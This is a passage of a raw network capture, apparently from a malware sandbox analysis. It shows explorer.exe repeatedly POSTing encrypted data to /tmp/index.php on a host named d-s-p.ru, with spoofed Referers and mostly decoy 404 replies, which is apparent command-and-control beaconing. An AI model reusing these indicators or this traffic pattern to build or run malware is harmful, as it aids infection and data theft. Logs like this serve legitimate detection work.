6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50056	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:24.685197115 CET	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dqncwrghqkte.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 156 Host: d-s-p.ru
Dec 30, 2024 19:45:24.685245037 CET	156	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 25 6b 2c 90 f5 76 0b 75 47 33 ae b8 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[%k,vuG3b3[oF$n2N m~B1Xn?0:H^D5
Dec 30, 2024 19:45:26.125819921 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:25 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50057	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:26.473896027 CET	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://agvphbybllsas.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 225 Host: d-s-p.ru
Dec 30, 2024 19:45:26.473908901 CET	225	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 3a 6b 2c 90 f5 76 0b 75 30 05 c7 a6 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[:k,vu0yv5%~ ouvARu],VDcX$U'`MG;~<Z8{%8yqZ>@X.9}N\|sq.
Dec 30, 2024 19:45:27.931920052 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:27 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50058	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:27.944336891 CET	277	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mjrsolarxwh.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 211 Host: d-s-p.ru
Dec 30, 2024 19:45:27.944360018 CET	211	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 3b 6b 2c 90 f5 76 0b 75 50 08 d2 9e Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[;k,vuPoPjBg)~<>U)>B<c$RY{C5UpZ95^dQ@6ICLr
Dec 30, 2024 19:45:29.410043001 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:29 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50059	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:29.430948973 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://njmhqmwqrarclhje.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 199 Host: d-s-p.ru
Dec 30, 2024 19:45:29.430984020 CET	199	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 38 6b 2c 90 f5 76 0b 75 5f 01 d7 fb Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[8k,vu_MW~x?si/r?\|'TZ\|S9&qa]M:xja 9D`'8F48
Dec 30, 2024 19:45:30.888448954 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:30 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50060	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:30.951487064 CET	277	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://visknbdtdhq.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 229 Host: d-s-p.ru
Dec 30, 2024 19:45:30.951513052 CET	229	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 39 6b 2c 90 f5 76 0b 75 45 3d e4 f1 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[9k,vuE=#jhGzli.IfrbWsUvY,L+I]KlLEuW^M^[*[EzmKm_Td
Dec 30, 2024 19:45:32.674526930 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:32 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50061	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:32.687740088 CET	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://iasmrrglydiueqr.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 156 Host: d-s-p.ru
Dec 30, 2024 19:45:32.687762022 CET	156	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 3e 6b 2c 90 f5 76 0b 75 50 0b d5 a4 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[>k,vuPTR@UpfXlh^!;MocVarB6M
Dec 30, 2024 19:45:34.174436092 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:33 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50062	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:34.189436913 CET	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xhjqltphdtwpxuw.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 160 Host: d-s-p.ru
Dec 30, 2024 19:45:34.189475060 CET	160	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 3f 6b 2c 90 f5 76 0b 75 43 00 ef a2 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[?k,vuCNzbH=ZrHI5=<L&Sh[32U~/*E
Dec 30, 2024 19:45:35.675649881 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:35 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50063	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:35.687838078 CET	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://aqewaciknwcref.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 134 Host: d-s-p.ru
Dec 30, 2024 19:45:35.687865973 CET	134	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 3c 6b 2c 90 f5 76 0b 75 27 09 fc ee Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[<k,vu'8r8ve3qeSl\ IFd
Dec 30, 2024 19:45:37.141829967 CET	189	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:36 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 1e 7a 47 f0 39 18 f2 f9 09 fc 8c e5 e5 14 99 3b df e9 20 42 18 c2 8f 97 cb Data Ascii: #\6zG9; B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50065	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:39.376744986 CET	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://newmvklahrrrgqt.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 175 Host: d-s-p.ru
Dec 30, 2024 19:45:39.376770973 CET	175	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2c 5b 3c 6b 2c 90 f4 76 0b 75 47 32 a2 83 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA ,[<k,vuG2TL@m"jXVH@Ycd#r=/BIK?0!y_8Z*64nH^
Dec 30, 2024 19:45:40.839365959 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:40 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50066	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:40.853508949 CET	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://plkttxwuhrfxb.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 141 Host: d-s-p.ru
Dec 30, 2024 19:45:40.853539944 CET	141	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 3d 6b 2c 90 f5 76 0b 75 20 1e d0 f3 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[=k,vu -_aW(@s<o%4YA-(#@
